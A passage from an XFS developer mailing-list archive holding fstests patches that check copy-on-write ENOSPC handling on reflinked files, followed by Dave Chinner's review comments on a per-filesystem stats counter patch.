out="$($XFS_IO_PROG -f -c "reflink $TESTDIR/bigfile $((lblk * BLKSZ)) $((lblk * BLKSZ)) $BLKSZ" $fname 2>&1)" + echo "$out" >> $seqres.full + test "$out" = "reflink: No space left on device" && break +done + +echo "Check scratch fs" +umount $SCRATCH_MNT +_check_scratch_fs + +# success, all done +status=0 +exit diff --git a/tests/generic/841.out b/tests/generic/841.out new file mode 100644 index 0000000..33c46fd --- /dev/null +++ b/tests/generic/841.out @@ -0,0 +1,5 @@ +QA output created by 841 +Format and mount +Create a big file +Try to reflink +Check scratch fs diff --git a/tests/generic/group b/tests/generic/group index daaf23a..d4f05a9 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -246,3 +246,5 @@ 837 auto quick clone 838 auto quick clone 839 auto quick clone +840 clone_stress +841 clone_stress From darrick.wong@oracle.com Wed Oct 7 00:14:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 23F0529F25 for ; Wed, 7 Oct 2015 00:14:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 79A86AC005 for ; Tue, 6 Oct 2015 22:14:39 -0700 (PDT) X-ASG-Debug-ID: 1444194875-04cbb03f120dca0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 3YqELMSY4xgInQTT (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:14:36 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975EXG6021445 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:14:34 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t975EXNi008081 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:14:33 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975EXh2027269; Wed, 7 Oct 2015 05:14:33 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:14:32 -0700 Subject: [PATCH 12/12] reflink: test that CoW writes fail when we're out of space From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 12/12] reflink: test that CoW writes fail when we're out of space To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:14:25 -0700 Message-ID: <20151007051425.3260.73646.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194876 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Ensure that copy-on-writing a reflinked file when there's no free disk space reflects the desired ENOSPC back to userspace during the write call. Tests the buffered IO, direct IO, and mmap write paths. Signed-off-by: Darrick J. Wong --- tests/generic/842 | 110 ++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/842.out | 10 ++++ tests/generic/843 | 110 ++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/843.out | 10 ++++ tests/generic/844 | 112 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/844.out | 9 ++++ tests/generic/845 | 110 ++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/845.out | 10 ++++ tests/generic/group | 4 ++ 9 files changed, 485 insertions(+) create mode 100755 tests/generic/842 create mode 100644 tests/generic/842.out create mode 100755 tests/generic/843 create mode 100644 tests/generic/843.out create mode 100755 tests/generic/844 create mode 100644 tests/generic/844.out create mode 100755 tests/generic/845 create mode 100644 tests/generic/845.out diff --git a/tests/generic/842 b/tests/generic/842 new file mode 100755 index 0000000..9e46b6e --- /dev/null +++ b/tests/generic/842 @@ -0,0 +1,110 @@ +#! /bin/bash +# FS QA Test No. 842 +# +# Reflink a file, use up the rest of the space, then try to observe ENOSPC +# while copy-on-writing the file via the page cache. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR1 +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +# real QA test starts here +_require_scratch +_require_scratch_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_cp_reflink + +rm -f $seqres.full + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Reformat with appropriate size" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +NR_BLKS=10240 +umount $SCRATCH_MNT +SZ_BYTES="$((NR_BLKS * 8 * BLKSZ))" +if [ $SZ_BYTES -lt $((32 * 1048576)) ]; then + SZ_BYTES=$((32 * 1048576)) +fi +_scratch_mkfs_sized $SZ_BYTES >> $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create a big file and reflink it" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile >> $seqres.full 2>&1 +cp --reflink=always $TESTDIR/bigfile $TESTDIR/clonefile +sync + +echo "Allocate the rest of the space" +NR_FREE="$(stat -f -c '%f' $TESTDIR)" +touch $TESTDIR/file0 $TESTDIR/file1 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * NR_FREE))" $TESTDIR/eat_my_space >> $seqres.full 2>&1 +sync + +echo "CoW the big file" +out="$($XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile 2>&1)" +test "$(echo "${out}" | grep -c "No space left on device")" -eq 1 || echo "CoW should have failed with ENOSPC" +echo "${out}" >> $seqres.full 2>&1 +echo "${out}" + +echo "Remount and try CoW again" +umount $SCRATCH_MNT +_scratch_mount + +out="$($XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile 2>&1)" +test "$(echo "${out}" | grep -c "No space left on device")" -eq 1 || echo "CoW should have failed with ENOSPC" +echo "${out}" >> $seqres.full 2>&1 +echo "${out}" + +#filefrag -v $TESTDIR/bigfile +#filefrag -v $TESTDIR/clonefile + +echo "Check scratch fs" +umount $SCRATCH_MNT +_check_scratch_fs + +# success, all done +status=0 +exit diff --git a/tests/generic/842.out b/tests/generic/842.out new file mode 100644 index 0000000..df58025 --- /dev/null +++ b/tests/generic/842.out @@ -0,0 +1,10 @@ +QA output created by 842 +Format and mount +Reformat with appropriate size +Create a big file and reflink it +Allocate the rest of the space +CoW the big file +pwrite64: No space left on device +Remount and try CoW again +pwrite64: No space left on device +Check scratch fs diff --git a/tests/generic/843 b/tests/generic/843 new file mode 100755 index 0000000..9349af1 --- /dev/null +++ b/tests/generic/843 @@ -0,0 +1,110 @@ +#! /bin/bash +# FS QA Test No. 843 +# +# Reflink a file that uses more than half the space, then try to run out of +# space while copy-on-writing. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR1 +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +# real QA test starts here +_require_scratch +_require_scratch_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_cp_reflink + +rm -f $seqres.full + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Reformat with appropriate size" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +NR_BLKS=10240 +umount $SCRATCH_MNT +SZ_BYTES="$((NR_BLKS * 3 / 2 * BLKSZ))" +if [ $SZ_BYTES -lt $((32 * 1048576)) ]; then + SZ_BYTES=$((32 * 1048576)) +fi +_scratch_mkfs_sized $SZ_BYTES >> $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create a big file and reflink it" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile >> $seqres.full 2>&1 +cp --reflink=always $TESTDIR/bigfile $TESTDIR/clonefile +sync + +echo "Allocate the rest of the space" +NR_FREE="$(stat -f -c '%f' $TESTDIR)" +touch $TESTDIR/file0 $TESTDIR/file1 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * NR_FREE))" $TESTDIR/eat_my_space >> $seqres.full 2>&1 +sync + +echo "CoW the big file" +out="$($XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile 2>&1)" +test "$(echo "${out}" | grep -c "No space left on device")" -eq 1 || echo "CoW should have failed with ENOSPC" +echo "${out}" >> $seqres.full 2>&1 +echo "${out}" + +echo "Remount and try CoW again" +umount $SCRATCH_MNT +_scratch_mount + +out="$($XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile 2>&1)" +test "$(echo "${out}" | grep -c "No space left on device")" -eq 1 || echo "CoW should have failed with ENOSPC" +echo "${out}" >> $seqres.full 2>&1 +echo "${out}" + +#filefrag -v $TESTDIR/bigfile +#filefrag -v $TESTDIR/clonefile + +echo "Check scratch fs" +umount $SCRATCH_MNT +_check_scratch_fs + +# success, all done +status=0 +exit diff --git a/tests/generic/843.out b/tests/generic/843.out new file mode 100644 index 0000000..43c1cf6 --- /dev/null +++ b/tests/generic/843.out @@ -0,0 +1,10 @@ +QA output created by 843 +Format and mount +Reformat with appropriate size +Create a big file and reflink it +Allocate the rest of the space +CoW the big file +pwrite64: No space left on device +Remount and try CoW again +pwrite64: No space left on device +Check scratch fs diff --git a/tests/generic/844 b/tests/generic/844 new file mode 100755 index 0000000..ee834b3 --- /dev/null +++ b/tests/generic/844 @@ -0,0 +1,112 @@ +#! /bin/bash +# FS QA Test No. 844 +# +# Reflink a file, use up the rest of the space, then try to observe ENOSPC +# while copy-on-writing the file via mmap. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR1 +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +# real QA test starts here +_require_scratch +_require_scratch_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_cp_reflink + +rm -f $seqres.full + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Reformat with appropriate size" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +NR_BLKS=10240 +umount $SCRATCH_MNT +SZ_BYTES="$((NR_BLKS * 8 * BLKSZ))" +if [ $SZ_BYTES -lt $((32 * 1048576)) ]; then + SZ_BYTES=$((32 * 1048576)) +fi +_scratch_mkfs_sized $SZ_BYTES >> $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create a big file and reflink it" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile >> $seqres.full 2>&1 +cp --reflink=always $TESTDIR/bigfile $TESTDIR/clonefile +sync + +echo "Allocate the rest of the space" +NR_FREE="$(stat -f -c '%f' $TESTDIR)" +touch $TESTDIR/file0 $TESTDIR/file1 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * NR_FREE))" $TESTDIR/eat_my_space >> $seqres.full 2>&1 +sync + +echo "mmap CoW the big file" +out="$($XFS_IO_PROG -f -c "mmap -rw 0 $((BLKSZ * NR_BLKS))" -c "mwrite -S 0x62 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile 2>&1)" +err="$?" +if [ "$err" -lt 128 ]; then + echo "mmap CoW should have failed with SIGBUS, got SIG$(kill -l $err)" +fi +sync + +echo "Remount and try CoW again" +umount $SCRATCH_MNT +_scratch_mount + +out="$($XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile 2>&1)" +test "$(echo "${out}" | grep -c "No space left on device")" -eq 1 || echo "CoW should have failed with ENOSPC" +echo "${out}" >> $seqres.full 2>&1 +echo "${out}" + +#filefrag -v $TESTDIR/bigfile +#filefrag -v $TESTDIR/clonefile + +echo "Check scratch fs" +umount $SCRATCH_MNT +_check_scratch_fs + +# success, all done +status=0 +exit diff --git a/tests/generic/844.out b/tests/generic/844.out new file mode 100644 index 0000000..f74f5bf --- /dev/null +++ b/tests/generic/844.out @@ -0,0 +1,9 @@ +QA output created by 844 +Format and mount +Reformat with appropriate size +Create a big file and reflink it +Allocate the rest of the space +mmap CoW the big file +Remount and try CoW again +pwrite64: No space left on device +Check scratch fs diff --git a/tests/generic/845 b/tests/generic/845 new file mode 100755 index 0000000..5587687 --- /dev/null +++ b/tests/generic/845 @@ -0,0 +1,110 @@ +#! /bin/bash +# FS QA Test No. 845 +# +# Reflink a file, use up the rest of the space, then try to observe ENOSPC +# while copy-on-writing the file via direct-io. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR1 +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +# real QA test starts here +_require_scratch +_require_scratch_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_cp_reflink + +rm -f $seqres.full + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Reformat with appropriate size" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +NR_BLKS=10240 +umount $SCRATCH_MNT +SZ_BYTES="$((NR_BLKS * 8 * BLKSZ))" +if [ $SZ_BYTES -lt $((32 * 1048576)) ]; then + SZ_BYTES=$((32 * 1048576)) +fi +_scratch_mkfs_sized $SZ_BYTES >> $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create a big file and reflink it" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile >> $seqres.full 2>&1 +cp --reflink=always $TESTDIR/bigfile $TESTDIR/clonefile +sync + +echo "Allocate the rest of the space" +NR_FREE="$(stat -f -c '%f' $TESTDIR)" +touch $TESTDIR/file0 $TESTDIR/file1 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * NR_FREE))" $TESTDIR/eat_my_space >> $seqres.full 2>&1 +sync + +echo "CoW the big file" +out="$($XFS_IO_PROG -d -f -c "pwrite -S 0x62 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile 2>&1)" +test "$(echo "${out}" | grep -c "No space left on device")" -eq 1 || echo "CoW should have failed with ENOSPC" +echo "${out}" >> $seqres.full 2>&1 +echo "${out}" + +echo "Remount and try CoW again" +umount $SCRATCH_MNT +_scratch_mount + +out="$($XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ * NR_BLKS))" $TESTDIR/bigfile 2>&1)" +test "$(echo "${out}" | grep -c "No space left on device")" -eq 1 || echo "CoW should have failed with ENOSPC" +echo "${out}" >> $seqres.full 2>&1 +echo "${out}" + +#filefrag -v $TESTDIR/bigfile +#filefrag -v $TESTDIR/clonefile + +echo "Check scratch fs" +umount $SCRATCH_MNT +_check_scratch_fs + +# success, all done +status=0 +exit diff --git a/tests/generic/845.out b/tests/generic/845.out new file mode 100644 index 0000000..d367a73 --- /dev/null +++ b/tests/generic/845.out @@ -0,0 +1,10 @@ +QA output created by 845 +Format and mount +Reformat with appropriate size +Create a big file and reflink it +Allocate the rest of the space +CoW the big file +pwrite64: No space left on device +Remount and try CoW again +pwrite64: No space left on device +Check scratch fs diff --git a/tests/generic/group b/tests/generic/group index d4f05a9..2ff60a8 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -248,3 +248,7 @@ 839 auto quick clone 840 clone_stress 841 clone_stress +842 auto quick dangerous_clone +843 auto quick dangerous_clone +844 auto quick dangerous_clone +845 auto quick dangerous_clone From david@fromorbit.com Wed Oct 7 01:18:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B2C147FAC for ; Wed, 7 Oct 2015 01:18:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A3983304032 for ; Tue, 6 Oct 2015 23:18:45 -0700 (PDT) X-ASG-Debug-ID: 1444198723-04cb6c57850eb90001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id e3RRzZd7ZgNfBDwE for ; Tue, 06 Oct 2015 23:18:43 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DeDQDluBRWPEcOLHlegyeBQoZaonABAQEBAQEGixiFGoYKhhQCAgEBAoE8TQEBAQEBAQcBAQEBQT9BB4NfAQEEJxMcIxAIAxgJJQ8FJQMHGhOILcEIAQEBAQYCAR8ZhhOFRYUNB4MagRQFkk2DOI0Pm3uEeSozg32DbwEBAQ Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 07 Oct 2015 16:48:06 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zji3B-0003GY-OW; Wed, 07 Oct 2015 17:18:05 +1100 Date: Wed, 7 Oct 2015 17:18:05 +1100 From: Dave Chinner To: Bill O'Donnell Cc: xfs@oss.sgi.com Subject: Re: [PATCH 7/7] xfs: per-filesystem stats counter implementation Message-ID: <20151007061805.GE32150@dastard> X-ASG-Orig-Subj: Re: [PATCH 7/7] xfs: per-filesystem stats counter implementation References: <1443802960-26662-1-git-send-email-billodo@redhat.com> <1443802960-26662-8-git-send-email-billodo@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443802960-26662-8-git-send-email-billodo@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444198723 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23262 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 02, 2015 at 11:22:40AM -0500, Bill O'Donnell wrote: > This patch modifies the stats counting macros and the callers > to those macros to properly increment, decrement, and add-to > the xfs stats counts. The counts for global and per-fs stats > are correctly advanced, and cleared by writing a "1" to the > corresponding clear file. > > global counts: /sys/fs/xfs/stats/stats > per-fs counts: /sys/fs/xfs/sda*/stats/stats > > global clear: /sys/fs/xfs/stats/stats_clear > per-fs clear: /sys/fs/xfs/sda*/stats/stats_clear > > Signed-off-by: Bill O'Donnell .... > +#define __XFS_BTREE_STATS_INC(mp, type, stat) \ > + XFS_STATS_INC(mp, xs_ ## type ## _2_ ## stat) > +#define XFS_BTREE_STATS_INC(cur, stat) \ > do { \ > + struct xfs_mount *mp = cur->bc_mp; \ This will cause gcc to throw "shadow definition" warnings in userspace as the macro will be used in functions that already have a "mp" variable defined. In general, variables within a macro like this are given a "__" prefix so such namespace collisions are unlikely. I'll fix this up manually. Otherwise looks OK. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Oct 7 01:21:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AE6C67FAA for ; Wed, 7 Oct 2015 01:21:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 704DB304032 for ; Tue, 6 Oct 2015 23:21:37 -0700 (PDT) X-ASG-Debug-ID: 1444198894-04bdf020db0fee0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ceMYHTEUbAbyODIu for ; Tue, 06 Oct 2015 23:21:34 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DDCADluBRWPEcOLHlegyeBQoZaonABAQEBAQEGixiFGoYKhhQCAgEBAoE8TQEBAQEBAQcBAQEBQT+EJwEBBCcTHCMQCAMYCSUPBSUDBxoTiC3BCAEBAQEBBQEBAQEeGYYTgUmDfBCEfQeDGoEUBZYFjQ+BX5FTiEmCdB2BaCozh2wBAQE Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 07 Oct 2015 16:51:14 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zji6E-0003Gv-34; Wed, 07 Oct 2015 17:21:14 +1100 Date: Wed, 7 Oct 2015 17:21:14 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 7/7 v11] xfs: per-filesystem stats counter implementation Message-ID: <20151007062114.GF32150@dastard> X-ASG-Orig-Subj: Re: [PATCH 7/7 v11] xfs: per-filesystem stats counter implementation References: <1443802960-26662-1-git-send-email-billodo@redhat.com> <1443802960-26662-8-git-send-email-billodo@redhat.com> <20151006213553.GA21334@redhat.com> <5614938F.3020000@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5614938F.3020000@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444198894 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 06, 2015 at 10:37:51PM -0500, Eric Sandeen wrote: > > > On 10/6/15 4:35 PM, Bill O'Donnell wrote: > > UPDATE: > > -v11: fix errors in dfs_dquot.c functions touching stats counts. > > > > This patch modifies the stats counting macros and the callers > > to those macros to properly increment, decrement, and add-to > > the xfs stats counts. The counts for global and per-fs stats > > are correctly advanced, and cleared by writing a "1" to the > > corresponding clear file. > > > > global counts: /sys/fs/xfs/stats/stats > > per-fs counts: /sys/fs/xfs/sda*/stats/stats > > > > global clear: /sys/fs/xfs/stats/stats_clear > > per-fs clear: /sys/fs/xfs/sda*/stats/stats_clear > > > > Signed-off-by: Bill O'Donnell > > --- > > ... > > > diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h > > index 54f2260..2ab82c5 100644 > > --- a/fs/xfs/xfs_stats.h > > +++ b/fs/xfs/xfs_stats.h > > @@ -218,14 +218,23 @@ int xfs_stats_format(struct xfsstats __percpu *stats, char *buf); > > void xfs_stats_clearall(struct xfsstats __percpu *stats); > > extern struct xstats xfsstats; > > > > -#define XFS_STATS_INC(v) \ > > - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v++) > > +#define XFS_STATS_INC(mp, v) \ > 